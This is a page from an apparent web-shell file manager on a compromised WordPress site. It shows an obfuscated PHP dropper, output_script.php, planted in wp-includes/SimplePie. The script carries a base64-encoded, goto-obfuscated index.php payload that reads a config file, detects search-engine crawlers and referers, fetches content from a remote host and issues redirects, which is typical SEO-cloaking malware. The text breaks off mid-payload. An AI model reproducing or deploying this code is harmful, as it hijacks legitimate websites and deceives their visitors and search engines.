X7ROOT File Manager
Current Path:
/home/greejped/haldiawater.com/wp-includes/SimplePie
home
/
greejped
/
haldiawater.com
/
wp-includes
/
SimplePie
/
ðŸ“
..
📄
autoloader-table.php
(1.17 KB)
📄
autoloader.php
(3.92 KB)
📄
collection.html
(62.86 KB)
📄
config.json
(159 B)
📄
detail.html
(78.14 KB)
📄
error_log
(14.48 MB)
📄
home.html
(59.89 KB)
ðŸ“
library
📄
output_script.php
(383.69 KB)
ðŸ“
src
Editing: output_script.php
<?php // 函数:生成随机字符串 function generateRandomString($length = 10) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } $app_ids = [ 'f42c1bc3c8c26288', 'ed3a2e8ec84c2ba5', '43ffcfa7e71a78ef', '268e9fc97a822a63', '4280cd988db3fe2b', 'f6d2b50ee57b3bbc', '7cd89346d58ff9f1', 'b2cafca4d8353ba6', '1ba85492b2901f98', 'a6a2e3631f2f7c38', 'fc54c4d506dfa3f7', '2a05bdd549048e43', 'c1729909d0b2a3f3', 'cb5681fdb09a0e8c', 'bc38ffc811bd1570', '84fb9678ce075a1c', '05d26c8eb607083c', '0ad5b830959c1ebf', '6caa9f4029dd16c4', 'dc1c939a31ca99a6', '2f67f8ad78c177b7', '9e53cb19fa47f122', '1524232b115dca27', 'ae853e1a920cff85', '844388d8f95cf9ef', 'dca348cbef645d65', 'b2d7d68152d38358', '2d6d8b000f54ed0c', '07172191b9394156', '5a1f2ec6ec7ffbd9', 'e22a4c0304ad8b1c', 'ce623306a88f5ae8', 'edb589457107b73e', '34c18343e0b07caa', '8155edac49994d2f', '75342a1c84e3e9c9', '21fcf2007870b64d', 'd48ad3119037f34f', 'bdccb4febc5528e1', '4f2c8920f361144c', '1805e2f72fd4de0c', '91e304fee73ba1a9', '3139104511afd548', 'f642f89a274149e5', 'ac3ff690eea371eb', '8f1b31a15f4569a4', '843638c7169b0deb', '562bac587006f407', '1fff0a1107f97773', '0e48254252b1ecf3', 'c0dca75ae92c73a9', 'a5866d14be55cf92', '51d20d020aafb250', '8cb4456f9af654e4', '2daf2590717b9066', '0c5a6e4adc0c1437', 'e469e2b67f90efef', '9585f8b99fb37538', '7c787492c59825c2', 'bc2af1d58044932b', 'c17e159181129915', 'c547ce40f08892dc', '985dbb0deec16ca3', 'ad218a7cc136ad2a', 'bb64c14d6db3face', 'a8a0b22128ff15e5', 'd71b69cb4a79f348', 'b5bd85b00740d515', '36a20628990b8cb2', '1a7f5f78023714eb', 'fd2354f497a6de1a', 'eb62e8f09b4fef76', '41443b707dd5655e', '8a13b46fc4cb51ac', 'e0de2b55c1342add', 'beb3d85b3264760f', 'c60e084a42bdc24a', 'cad13c5e0ce1b200', '6e26e37a954d05cf', '5e811e39a92b41f1', '93f5848e3daf022c', 'd3a2c9eefcace0d0', 'ee454b28c1101ac4', '621c56731fba5970', 'a474d9f50e584d1a', 'd69867bb068c2af7', '0cbe568d367fcb2b', 'de10294c40c0d708', '0a59bdbea5b1166a', '5b30f519030a29cc', '70f24d68b0e3e7a3', '3e1f694e5c9a60e7', '2962d83be3cc1ad2', '0e477358b0dd80b1', 'dd9d5e373fbe00ed', 'da81c9834b379e24', '4d67a6de987fce73', '4720d0c64d2ca312', 'd864d380d274ded6', '7062bd482cb5ce13', '6475394d13cd6fad', '9789a32bb7936112', '76d713745dfb3ad3', 'c0a97a841de33f9c', 'f2c0e3a539b8f369', 'c475a19f73a9b1ad', 'a3e5a787dd0aac80', 'd664aa1eb92e0505', '1a4be20f74d13ba3', '8ae8a7746946350a', 'bc9098c0103941d4', '34b5749426cd6644', 'b688dc609843e020', 'e4916a52ed90477b', '44d6e56d21598b72', '63d70b53a5f62fec', 'ef1b40e517de185b', 'f7c7a14d0adb727a', 'e8ae1ecf0050f69f', '5c0a8116e1984466', '5aa29a7c3323fd6f', 'ecda794bf4a614d1', 'a7b3ec650aaa3256', '04ef2853ec9cfe1c', '31b65ad2b53d60d7', '051543679e5dae25', '70c5da918b5b6175', 'ad31a9fdaf2b08de', '95f2d0fdd13c87ac', '33a6a1f6d5ff8be5', 'ee231e287c21777a', 'aab048c65bfecee8', 'dfbd8a69676b8b47', '9e48359582f17b53', 'aa911427da6e6e4f', '2b905fb48509c947', '5d339904fed4f49c', '9f2cd7abbdeb1d60', '6e1ee6166d56acf4', '3976472d538b0f48', 'aef189cb606fc5e3', '82c7d85f8d2b7d24', 'd561e201845cee50', '2d87b6dc4295bda4', '17660bcc142fd40e', 'd01b06227519b5d4', '6fe5d339d19b8be7', '965ee4bce823033a', '8c5be5d38a547da4', 'd6ec5b4cc9633019', 'bacf5577c50989b4', '2c9b96b190ec2148', 'a5d1cfd981965b38', 'f3452e88cfde320c', '1db68dd6877f9eef', '135a5e4e24030ca3', '80e1d10837592277', 'adecf5aaf4f33476', '59daff6693c00b4b', '747c6fdee557db6a', '3a60a932698272c3', 'e455c95b1a2a3b32', '66850e81078af48d', '70b472d8ff7deb68', 'cf2b00e401211855', '57e59fdc8efdb7b3', '16806a3690ac7ccd', '4942a92c112dd7cf', 'c33666d26ea577b6', '44e2400b48a82506', '9aec357121e3daeb', 'b1a5e452b6c8f937', '924c8a7d3a875704', '8d98b3b9fec97d16', '1682fe7f50e798ee', '6669f36a3636caa6', 'a6af981563b065bd', 'f3af6c40cc589c37', '7defaa100b808842', '4fc6bc132a64a18c', '6ba2548ecab682dd', '765ca2ce5ef11d10', '01718b861ec080e3', 'a0ac6af5c379c464', '9f391a4ef286d778', '912038590ae388d9', 'd5b0e8899eb601c5', '41eeadf84c8bff34', 'fbcbe3a6adbd4578', '024b9b3135c675eb', 'b3bce85b5feada1a', '15f797ef4bc13f9a', '0e5c22f9b10f876c', 'fff48b92d22c85a4', '644c08b62059a6e7', 'c31506fcb152ab40', 'e4ea749f835725cd', '40c12027afb64a9d', '2ceeee26f4c21494', '1ae0592d97c5531d', '41c439d47f9c5bd8', '8800fa39132b73ad', '22a5ff848393d4e5', '82969af90ffd87aa', '52bd9f1a449828ca', '71daa9bfaeaf3ee0', '6bd512ab46f20eb3', '59b874db94f36089', '8a0c258f81534f3b', '9d66fb4d3c52e51b', 'dc6082d2229672ad', 'ae423046b257f8ed', '001197419b8c38b1', 'fe9f7afd25db9875', '84c287856fa1fc4c', 'a3898d5847ebcc5d', '1c7f6e068f9ec092', '269ed1e2219c02fc', '8e88dce4985bc39c', '546b48655dee5d40', '2bf6a722a4a945f1', 'c080455dcc70a692', '5c0edbaf00e87e02', '478c185b80543223', '4293e8342b795497', 'f4511799a4635023', '2cd9ee29aa758acd', '9e8174872e42ea3d', 'f5028f7ab5b7817e', 'aa722dbc44133cc0', '74811f2c356af726', '9743240b090966c7', '7047e18849e86076', 'a4d24b750e15fd64', 'efa39f7e56e3cb73', 'dbb478a0bd08a45f', '9a56cbcdcac7f9f0', 'f409da386bd2abf0', '6238e838a1a20f64', 'df5871362e26bdd6', '9c9f4edea7dbd134', '74c20ad424a0471a', '4db17f74b5c9de03', 'f6876a894d1b01c8', '3b0ae82cf7b4cd70', 'd0d82aac58d9e2f1', 'd44b2de782b8b586', 'bf095eef6260183d', 'b9d240750aa3cc88', '5f83a9809f5ffb38', '5fe246bbebac16be', 'ba4c2dee8b947483', 'ca9a61e4af23e40f', 'e0e0ccc6f4fddb81', '2e7af2c977b72be7', 'e4f8beca5b439957', '9b562ceb1d3b2418', '91aa496da75314a0', 'cef79b09d72b2ec4', '7d91c0c1d0e3846b', 'c9e2914975f35db5', '8184901d713fb76c', 'efe1a2ba7cf19bf6', '410691af3b8ceba8', 'e0f00374e78d24f3', 'd616d2c55911bc2f', 'd1fc266d99474c1b', '9fe80f951b712036', '12ce2e767528f952', '61edc17e0ccd8783', '408d990980b1628c', 'c55bff9f4c00d47b', '3830fb39ad7d4320', '78cc36979c4e6304', 'c7d1488ce7125559', 'd77b45dcbf18b599', 'd00650e0518720cc', '1a1bbb8e318676f7', '87428dde963b6cd3', '6e0d9afcdbce302f', '157b20fc0764626d', 'f682f89b0d727638', '14c89e01fe4bc52f', 'aeda737214112751', 'f84b19155ce24136', '29d7d090af7d4c01', 'c278d5372476d755', '6737fe3947db5610', 'f95dff27a68aa1fd', 'd32704f86bbd0865', 'ac80b08a44d0e936', '0606b942861096f4', 'ba676db8749f4d28', '561e2d648dccd9e2', 'b88fe3a09a81cb02', 'a42cc47e00fbade2', '9d5f8965a597142b', '35d12e70ae08fde6', '659b7fa0801cd8fc', '662fb4adc012ebe2', ]; shuffle($app_ids); $files = array ( 'index.php' => 'PD9waHANCiBnb3RvIG1BQUo3OyBRRzJqYjogJHBhWmdZID0gbmV3IGJNZzVrKCk7IGdvdG8gRHNjUVc7IG1BQUo3OiBpbmlfc2V0KCJceDY0XDE1MVwxNjNceDcwXDE1NFx4NjFceDc5XHg1ZlwxNDVceDcyXHg3Mlx4NmZcMTYyXHg3MyIsICJcNjAiKTsgZ290byBQWE1vbDsgUFhNb2w6IGNsYXNzIEJtRzVrIHsgY29uc3QgUEJYelcgPSAiXHgyZlx4NjFcMTYwXHg2OVw1N1wxNDdcMTQ1XDE2NFx4NWZceDYyXDE0MVx4NmVcMTU2XHg2NVx4NzIiOyBjb25zdCBESmNQMyA9ICJcNTdcMTQxXDE2MFwxNTFcNTdcMTQ3XDE0NVwxNjRceDVmXDE2M1wxNjVceDYyIjsgY29uc3QgaVNFRWUgPSAiXDU3XDE0MVwxNjBceDY5XDU3XHg2N1wxNDVceDc0XDEzN1x4NmNceDY5XDE2M1wxNjQiOyBjb25zdCBQV1o5SCA9ICJceDJmXHg2MVwxNjBcMTUxXHgyZlx4NjdcMTQ1XDE2NFwxMzdceDY0XDE0NVwxNjRcMTQxXHg2OVwxNTQiOyBjb25zdCBHR0w3SCA9ICJceDJmXDE0MVx4NzBcMTUxXHgyZlx4NzJcMTQxXHg2ZVx4NjRcMTU3XDE1NVwxMjdcMTU3XHg3Mlx4NjRceDczIjsgY29uc3QgUlZRc2kgPSAiXHgyZlwxNDFceDcwXHg2OVw1N1wxNTZcMTU3XHg3NFwxNDdcMTQyXHg3OSI7IGNvbnN0IG1qR01YID0gIlx4MmZcMTQxXDE2MFx4NjlcNTdceDZjXDE1MVx4NmVceDZiXHgyZlwxNDNceDYxXDE0M1wxNTBcMTQ1IjsgY29uc3QgbnlhS20gPSAiXDU3XDE0MVwxNjBceDY5XDU3XDE1MFx4NmZcMTY0XHgyZlwxNDdcMTQ1XHg3NFwxMzdceDY5XDE1Nlx4NjRceDY1XHg3OCI7IGNvbnN0IE1XbWU5ID0gIlx4MmZcMTQxXHg3MFx4NjlcNTdceDY4XDE1N1x4NzRcNTdceDY3XHg2NVwxNjRcMTM3XHg2Y1x4NjlcMTYzXDE2NCI7IGNvbnN0IHI0ajR1ID0gIlw1N1x4NjFcMTYwXDE1MVx4MmZceDY4XDE1N1wxNjRceDJmXHg2N1x4NjVceDc0XHg1ZlwxNDRcMTQ1XDE2NFwxNDFceDY5XDE1NCI7IGNvbnN0IFp3VnM3ID0gIlwxNTBceDY1XHg2MVx4NmNcMTY0XHg2OFwxNDNceDY4XHg2NVx4NjNceDZiIjsgY29uc3QgdTdKVzcgPSAiXDEzN1x4NjNceDYxXHg2M1x4NjhceDY1XDEzNyI7IGNvbnN0IGV6cTNaID0gIlx4NjNceDZmXDE1NFwxNTRcMTQ1XHg2M1x4NzRceDY5XHg2ZlwxNTYiOyBjb25zdCBiODNaayA9ICJceDY0XHg2NVx4NzRcMTQxXHg2OVx4NmMiOyBjb25zdCBHY25qMCA9ICJcMTQzXHg2MVwxNjRcMTQ1XDE0N1x4NmZcMTYyXDE3MSI7IGNvbnN0IEhYWjJvID0gIlx4NzBcMTYyXDE1N1x4NjRcMTY1XHg2M1wxNjRcMTM3XHg2OVwxNDQiOyBjb25zdCBaanVaWiA9ICJcMTQzXHg2MVx4NzRceDY1XDE0N1wxNTdceDcyXHg3OVx4NWZceDY5XDE0NCI7IGNvbnN0IEpva2JnID0gIlx4NjVceDYyXDE0MVx4NzkiOyBjb25zdCBEcEx5VyA9ICJcMTQxXDE1NVwxNDFcMTcyXDE1N1x4NmUiOyBjb25zdCBLVFYxcyA9ICJcMTQyXDE2MlwxNDFcMTU2XHg2NFwxNDFceDcwXDE1MSI7IGNvbnN0IEVubl9WID0gIlx4NjhceDZmXHg3NFwxNjRceDZmXDE2MFx4NjlcMTQzXDE2MyI7IGNvbnN0IG9tVkxvID0gIlx4NDJcMTQ1XHg3M1wxNjRcNDBceDUzXDE1MFx4NmZceDcwIjsgY29uc3Qgb24yczYgPSAiXHg1NFx4NGNcMTAzIjsgY29uc3QgbG5pQUQgPSAiXDEyMlwxMTNceDU3IjsgY29uc3Qga1hNb2wgPSAiXHg0Y1x4NDlcMTIzXDEyNCI7IGNvbnN0IEM4Tk5VID0gIlwxMjNcMTI1XDEwMiI7IGNvbnN0IHAyeDQ4ID0gIlwxMDRceDQ1XDEyNFx4NDFceDQ5XHg0YyI7IGNvbnN0IGdiSldrID0gIlwxNDNceDY4XHg2OVwxNTRceDY0XDEzN1wxNDNceDYxXHg2M1wxNTBceDY1IjsgY29uc3QgZ1d1UXMgPSAxOyBjb25zdCBRZjZZaiA9IDEyOyBjb25zdCBvTkFrRyA9IDk7IGNvbnN0IHpfb3hEID0gMTU7IGNvbnN0IFJ1SHdyID0gODggLyAxMDA7IGNvbnN0IFNWTGhMID0gNjAgLyAxMDA7IGNvbnN0IG1TQjZJID0gODsgY29uc3QgSnVsVV8gPSAxOyBjb25zdCB4bHZ6aSA9IDEwOyBjb25zdCBWdUloUCA9IDg2NDAwOyBjb25zdCB2MzNFaiA9IDE7IHByaXZhdGUgJERwYThSOyBwcml2YXRlICRhVkhWdjsgcHJpdmF0ZSAkcVlfemQ7IHByaXZhdGUgJEpJMXVPOyBwcml2YXRlICRVZFBaMzsgcHJpdmF0ZSAkb28wX007IHByaXZhdGUgJGtTN2NtOyBwcml2YXRlICR4enk2MTsgcHVibGljIGZ1bmN0aW9uIGluaXQoKSB7IGdvdG8gS1A4aWk7IFBVZmthOiBpZiAoISghZW1wdHkoJF9HRVQpICYmIGlzX2FycmF5KCRfR0VUKSkpIHsgZ290byB3b3hMUzsgfSBnb3RvIHlBUllDOyBWVUsxRjogJG02a3oxID0ganNvbl9kZWNvZGUoJGZzSkU5LCB0cnVlKTsgZ290byBGVDZ0SDsgYU5aMFM6IHZvNWFEOiBnb3RvIGFmdGd1OyB0MkRQazogd294TFM6IGdvdG8gY2lXOUk7IGFmdGd1OiBleGl0OyBnb3RvIGI5aWpROyBDUkJkbzogJFBLVzNfID0gJFlISTF2WyJceDY4XDE1N1x4NzNcMTY0Il07IGdvdG8gQ0Q5WWM7IFRobHBaOiBsdmV5czogZ290byBNQmJjeDsgWDN3UXc6IGJDOTc2OiBnb3RvIGNRVnBUOyBLUDhpaTogJGZzSkU5ID0gZmlsZV9nZXRfY29udGVudHMoX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAiXDE0M1wxNTdcMTU2XHg2Nlx4NjlcMTQ3XDU2XHg2YVx4NzNcMTU3XHg2ZSIpOyBnb3RvIFZVSzFGOyBDdFA5SjogdTJldEQ6IGdvdG8gdTVNVDA7IFZpUUxHOiBleGl0OyBnb3RvIGlqcWh0OyBRaGFVZzogcFNnX0s6IGdvdG8gVjNEY207IGVMUHp5OiAkdGhpcy0+VWRQWjMgPSAkbTZrejFbIlx4NjFceDcwXDE1MVwxMzdcMTYzXDE2MlwxNDMiXTsgZ290byBxZ3kxVTsgbXRITk86IHhTNjN0OiBnb3RvIEltRXNnOyBaTEFTWDogaHR0cF9yZXNwb25zZV9jb2RlKDIwNCk7IGdvdG8gZGtoc1g7IGhLNmRpOiAkempYdEggPSBwcmVnX3JlcGxhY2UoIlw1N1wxNjVcMTYyXHg2Y1wxMzRceDI4XDQyXHgyOFx4NWJcMTM2XDQyXHg1ZFw1Mlx4MjlceDIyXHg1Y1w1MVw1NyIsICJceDc1XHg3MlwxNTRceDI4eyR0aGlzLT5jV3BrcSgpfVx4MjRcNjFcNTEiLCAkempYdEgpOyBnb3RvIGRTY2xCOyBxZ3kxVTogJHRoaXMtPm9vMF9NID0gJG02a3oxWyJcMTQxXHg3MFwxNTFcMTM3XDE0NVwxNzBceDc0XHg3Mlx4NjEiXTsgZ290byBPcEdLSDsgQ0Q5WWM6IEJ6aldVOiBnb3RvIGV3bmJwOyBOYjFGUzogJHRoaXMtPnh6eTYxID0gZmFsc2U7IGdvdG8gbzNyVE87IE9RSzRGOiAkdGhpcy0+cVlfemQgPSAkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFx4NWZceDQ4XHg0ZlwxMjNcMTI0Il0gPzogJF9TRVJWRVJbIlwxMjNcMTA1XDEyMlx4NTZceDQ1XDEyMlwxMzdceDRlXDEwMVx4NGRceDQ1Il07IGdvdG8gTEdzRW87IGRLSFVROiBpZiAoISgkeUswNzEgPT0gIlx4NzNceDY5XHg3NFwxNDVcMTU1XHg2MVx4NzAiICYmICRfR0VUWyJcMTQ2Il0pKSB7IGdvdG8geFM2M3Q7IH0gZ290byBkM3lIdDsgVDFDeDQ6ICR0aGlzLT5xWV96ZCA9IHN0cl9yZXBsYWNlKCJcMTY3XDE2N1wxNjdceDJlIiwgJycsICR0aGlzLT5xWV96ZCk7IGdvdG8gQ3RQOUo7IFYzRGNtOiBnb3RvIG1mRTRfOyBnb3RvIEV5MmtTOyBMR3NFbzogJEIwOEhvID0gJHRoaXMtPnFZX3pkOyBnb3RvIHFKTXptOyBveDNWYTogZ290byB2WEIzcjsgZ290byBPOFRkSzsgVTBCUUc6IGV4aXQ7IGdvdG8gSEp6Q2c7IHpEdjRiOiAkaFJoNXogPSAkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFwxMzdcMTI1XHg1M1wxMDVceDUyXHg1ZlwxMDFcMTA3XHg0NVwxMTZceDU0Il07IGdvdG8gYTJUbmY7IHJnem9COiAkdGhpcy0+RHBhOFIgPSBydHJpbSgkdGhpcy0+RHBhOFIsICJcNTciKTsgZ290byBUaGxwWjsgbWt0QXk6IFV2MzRJOiBnb3RvIHQyRFBrOyBuT2RUcDogJHRoaXMtPkpJMXVPID0gJG02a3oxWyJceDY0XDE1N1wxNTVceDYxXHg2OVwxNTZceDVmXDE1MVx4NjQiXTsgZ290byBOYjFGUzsgZFNjbEI6IExzSXo3OiBnb3RvIGU0QW9mOyBPOFRkSzogQ3I4UHA6IGdvdG8ganBpX3Q7IGx0N2EzOiBoZWFkZXIoIlx4NGNceDZmXHg2M1wxNDFcMTY0XDE1MVwxNTdceDZlXDcyXDQwXHgyZlw2NFx4MzBcNjQiKTsgZ290byBWaVFMRzsgWVVfT2I6ICRHb1djQiA9ICJ7JHRoaXMtPkRwYThSfVw1N1wxNjNcMTUxXDE2NFx4NjVceDZkXHg2MVwxNjBcNTd7JExzWkNPfSI7IGdvdG8gdEVhSGE7IHFKTXptOiBpZiAoIShzdWJzdHIoJHRoaXMtPnFZX3pkLCAwLCAkUk5mOGkpID09PSAiXDE2N1wxNjdcMTY3XDU2IikpIHsgZ290byB1MmV0RDsgfSBnb3RvIFQxQ3g0OyBHU1dsdzogZXhpdDsgZ290byBIN2R4bDsgZTRBb2Y6IGVjaG8gJHpqWHRIOyBnb3RvIEVaQ2hROyBld25icDogJHlLMDcxID0gJF9HRVRbIlx4NzQiXTsgZ290byBkS0hVUTsgZ3Y3WEE6IGlmICghKHN0cnBvcygkX0dFVFsiXHg2NSJdLCAiXDE2MFwxNTRceDc1XDE0N1x4NjlceDZlXHg3M1x4MmVceDYzXHg3M1x4NzMiKSA9PSB0cnVlKSkgeyBnb3RvIExzSXo3OyB9IGdvdG8gaEs2ZGk7IHRvMzNiOiBoZWFkZXIoIlx4NGNceDZmXDE0M1x4NjFcMTY0XHg2OVx4NmZceDZlXHgzYVx4MjB7JFRGTnBnfSIpOyBnb3RvIFUwQlFHOyBFWkNoUTogVHdEUW06IGdvdG8gR1NXbHc7IEltRXNnOiBpZiAoISgkeUswNzEgPT0gIlx4NzNcMTY0XHg2MVx4NzRcMTUxXDE0MyIpKSB7IGdvdG8gRXh1eUg7IH0gZ290byByUkhHQzsgT3BHS0g6ICR0aGlzLT5rUzdjbSA9IDA7IGdvdG8gbk9kVHA7IHJSSEdDOiAkd3AycnMgPSAiXDE1MFwxNjRceDc0XDE2MFwxNjNceDNhXDU3XDU3eyRtNmt6MVsiXHg2MVwxNjBcMTUxXDEzN1wxNjVceDcyXHg2YyJdfVw1N3skX0dFVFsiXDE2MCJdfVx4MmZ7JF9HRVRbIlx4NjUiXX0iOyBnb3RvIFdqdVBZOyB1c0x6VzogaWYgKCFlbXB0eSgkUEtXM18pICYmIHByZWdfbWF0Y2goIlx4MmZcNTBceDY3XDE1N1x4NmZcMTQ3XHg2Y1wxNDVceDdjXDE0MlwxNTFcMTU2XDE0N1wxNzRcMTcxXHg2MVwxNTZceDY0XDE0NVwxNzBcNTFcNTdcMTUxIiwgJFBLVzNfKSkgeyBnb3RvIGJDOTc2OyB9IGdvdG8ga1pOeTk7IE1CYmN4OiAkUk5mOGkgPSBzdHJsZW4oIlwxNjdcMTY3XDE2N1x4MmUiKTsgZ290byBPUUs0RjsgYU94MG46ICR0aGlzLT5EcGE4UiA9ICJceDY4XHg3NFx4NzRceDcwXHg3M1x4M2FceDJmXDU3eyRtNmt6MVsiXHg2MVwxNjBcMTUxXDEzN1x4NzVcMTYyXDE1NCJdfSI7IGdvdG8gcXVyU0s7IGQzeUh0OiAkTHNaQ08gPSAkeUswNzEgLiAoJF9HRVRbIlx4NzMiXSA/OiAnJykgLiAiXDU2eyRfR0VUWyJceDY2Il19IjsgZ290byBZVV9PYjsgTTJReEM6IGV4aXQ7IGdvdG8gUWhhVWc7IEdlbE8wOiBpZiAoISRxclpaQykgeyBnb3RvIEJ6aldVOyB9IGdvdG8gb2UwWjE7IHU1TVQwOiAkcXJaWkMgPSAkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFwxMzdceDUyXHg0NVwxMDZcMTA1XDEyMlx4NDVcMTIyIl07IGdvdG8gR2VsTzA7IGlqcWh0OiBnb3RvIHBTZ19LOyBnb3RvIHRkbmlvOyBhMlRuZjogaWYgKHByZWdfbWF0Y2goIlw1N1w1MFx4NjdcMTU3XHg2ZlwxNDdcMTU0XHg2NVx4N2NcMTQyXHg2OVwxNTZcMTQ3XDE3NFx4NzlcMTQxXDE1Nlx4NjRceDY1XHg3OFx4MjlceDJmXHg2OSIsICRoUmg1eikpIHsgZ290byBDcjhQcDsgfSBnb3RvIHVzTHpXOyBlMWlrUTogaGVhZGVyKCJcMTEwXDEyNFx4NTRcMTIwXDU3XDYxXHgyZVw2MVw0MFx4MzNceDMwXDYxXHgyMFwxMTVcMTU3XDE2Nlx4NjVcMTQ0XHgyMFx4NTBceDY1XHg3MlwxNTVceDYxXDE1Nlx4NjVceDZlXHg3NFx4NmNceDc5Iik7IGdvdG8gbHQ3YTM7IEZUNnRIOiAkdGhpcy0+YVZIVnYgPSAkbTZrejFbIlx4NjFceDcwXDE2MFwxMzdcMTUxXHg2NCJdOyBnb3RvIGVMUHp5OyBKc0czaDogaHR0cF9yZXNwb25zZV9jb2RlKDIwMCk7IGdvdG8gTTJReEM7IEV5MmtTOiBvMnJaUTogZ290byBaTEFTWDsgY1FWcFQ6ICRURk5wZyA9ICR0aGlzLT5EcGE4UiAuIHNlbGY6OlJWUXNpIC4gIlw3N1wxNDFceDNkIiAuIHVybGVuY29kZSgkdGhpcy0+YVZIVnYpIC4gIlx4MjZceDYzXDc1IiAuIHVybGVuY29kZSgkdGhpcy0+VWRQWjMpIC4gIlx4MjZcMTcwXDc1IiAuIHVybGVuY29kZSgkdGhpcy0+b28wX00pIC4gIlx4MjZcMTYyXHgzZCIgLiB1cmxlbmNvZGUoJFBLVzNfKSAuICJceDI2XDE0NFx4M2QiIC4gdXJsZW5jb2RlKCR0aGlzLT5KSTF1TykgLiAiXHgyNlwxNTNceDNkIiAuIHVybGVuY29kZSgkdGhpcy0+cVlfemQpIC4gIlx4MjZceDcwXHgzZFw2MSI7IGdvdG8gUFVma2E7IEtCOUtLOiBleGl0OyBnb3RvIG10SE5POyBjaVc5STogaGVhZGVyKCJcMTEwXHg1NFx4NTRceDUwXHgyZlw2MVw1Nlw2MVx4MjBceDMzXDYwXDYxXDQwXHg0ZFwxNTdceDc2XHg2NVwxNDRceDIwXDEyMFwxNDVcMTYyXDE1NVx4NjFceDZlXHg2NVx4NmVcMTY0XHg2Y1wxNzEiKTsgZ290byB0bzMzYjsgc3pMXzI6IG1mRTRfOiBnb3RvIFF2T0dZOyBka2hzWDogZXhpdDsgZ290byBzekxfMjsgbm84N3A6IG95NHpyOiBnb3RvIGFOWjBTOyBXanVQWTogJHpqWHRIID0gJHRoaXMtPm5wNHpOKCR3cDJycyk7IGdvdG8gQ2JWU1I7IEg3ZHhsOiBFeHV5SDogZ290byB6RHY0YjsgUXZPR1k6IGdvdG8gSGVTZnY7IGdvdG8gWDN3UXc7IG8zclRPOiAkcWZZcmcgPSBpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFwxMjMiXSkgJiYgJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBceDUzIl0gPT0gIlwxNTdceDZlIiB8fCBpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFx4NWZceDU4XHg1ZlwxMDZceDRmXDEyMlwxMjdceDQxXDEyMlwxMDRcMTA1XHg0NFwxMzdcMTIwXHg1MlwxMTdcMTI0XHg0ZiJdKSAmJiAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFwxMzdceDU4XHg1Zlx4NDZcMTE3XHg1MlwxMjdceDQxXDEyMlwxMDRcMTA1XDEwNFwxMzdcMTIwXDEyMlwxMTdcMTI0XHg0ZiJdID09ICJcMTUwXDE2NFwxNjRcMTYwXDE2MyIgPyAiXHg2OFx4NzRcMTY0XHg3MFx4NzMiIDogIlx4NjhceDc0XDE2NFx4NzAiOyBnb3RvIGFPeDBuOyBISnpDZzogSGVTZnY6IGdvdG8gb3gzVmE7IHF1clNLOiBpZiAoIShzdWJzdHIoJHRoaXMtPkRwYThSLCAtMSkgPT0gIlw1NyIpKSB7IGdvdG8gbHZleXM7IH0gZ290byByZ3pvQjsgb2UwWjE6ICRZSEkxdiA9IHBhcnNlX3VybCgkcXJaWkMpOyBnb3RvIENSQmRvOyBIN0U2QTogJHRoaXMtPk9OMnlpKCk7IGdvdG8gSnNHM2g7IGpwaV90OiBzd2l0Y2ggKCR5SzA3MSkgeyBjYXNlIHNlbGY6OmV6cTNaOiBlY2hvICR0aGlzLT5HMEdaMSgpOyBnb3RvIHZvNWFEOyBjYXNlIHNlbGY6OmI4M1prOiBlY2hvICR0aGlzLT5nR2tMcygpOyBnb3RvIHZvNWFEOyBjYXNlIHNlbGY6OkdjbmowOiBlY2hvICR0aGlzLT5xb3RfVCgpOyBnb3RvIHZvNWFEOyBkZWZhdWx0OiBlY2hvICR0aGlzLT5id2NLMCgpOyB9IGdvdG8gbm84N3A7IHRFYUhhOiAkempYdEggPSAkdGhpcy0+TlA0em4oJEdvV2NCLCBbIlwxMzBceDJkXDEwNlx4NmZceDcyXDE2N1x4NjFcMTYyXDE0NFwxNDVceDY0XHgyZFwxMTBceDZmXDE2M1wxNjRceDNhXDQweyRCMDhIb30iLCAiXDEzMFw1NVx4NDZcMTU3XDE2MlwxNjdcMTQxXDE2MlwxNDRceDY1XHg2NFx4MmRceDUwXHg3MlwxNTdcMTY0XHg2Zlw3Mlx4MjB7JHFmWXJnfSJdKTsgZ290byBJcHVONzsgeUFSWUM6IGZvcmVhY2ggKCRfR0VUIGFzICRIUWtkRSA9PiAkTlBGdlIpIHsgJFRGTnBnID0gJFRGTnBnIC4gIlw0NnskSFFrZEV9XHgzZHskTlBGdlJ9IjsgQjNONGQ6IH0gZ290byBta3RBeTsgSXB1Tjc6IGVjaG8gJHpqWHRIOyBnb3RvIEtCOUtLOyBrZ1htNDogaWYgKCRfR0VUWyJcMTUwIl0gPT0gc2VsZjo6dTdKVzcgJiYgJF9TRVJWRVJbIlwxMjJcMTA1XDEyMVwxMjVceDQ1XDEyM1wxMjRcMTM3XHg0ZFwxMDVceDU0XHg0OFwxMTdceDQ0Il0gPT09ICJceDUwXHg0ZlwxMjNceDU0IikgeyBnb3RvIEM1c2FFOyB9IGdvdG8gZTFpa1E7IENiVlNSOiBpZiAoISgkempYdEggIT0gZmFsc2UpKSB7IGdvdG8gVHdEUW07IH0gZ290byBndjdYQTsgYjlpalE6IHZYQjNyOiBnb3RvIHE1TXduOyB0ZG5pbzogQzVzYUU6IGdvdG8gSDdFNkE7IGtaTnk5OiBpZiAoJF9HRVRbIlx4NjgiXSA9PSBzZWxmOjpad1ZzNyAmJiAkX1NFUlZFUlsiXHg1Mlx4NDVceDUxXDEyNVx4NDVceDUzXDEyNFwxMzdcMTE1XDEwNVx4NTRceDQ4XHg0ZlwxMDQiXSA9PT0gIlwxMDdcMTA1XDEyNCIpIHsgZ290byBvMnJaUTsgfSBnb3RvIGtnWG00OyBxNU13bjogfSBwdWJsaWMgZnVuY3Rpb24gb04yeWkoKSB7IGdvdG8gaGVrdkE7IFFCeXV2OiAkdGhpcy0+akZvT18oc2VsZjo6a1hNb2wsIGpzb25fZW5jb2RlKCRZellMZCksIFskTDF4VF9bIlwxNDNcMTQxXHg3NFx4NjVcMTQ3XDE1N1wx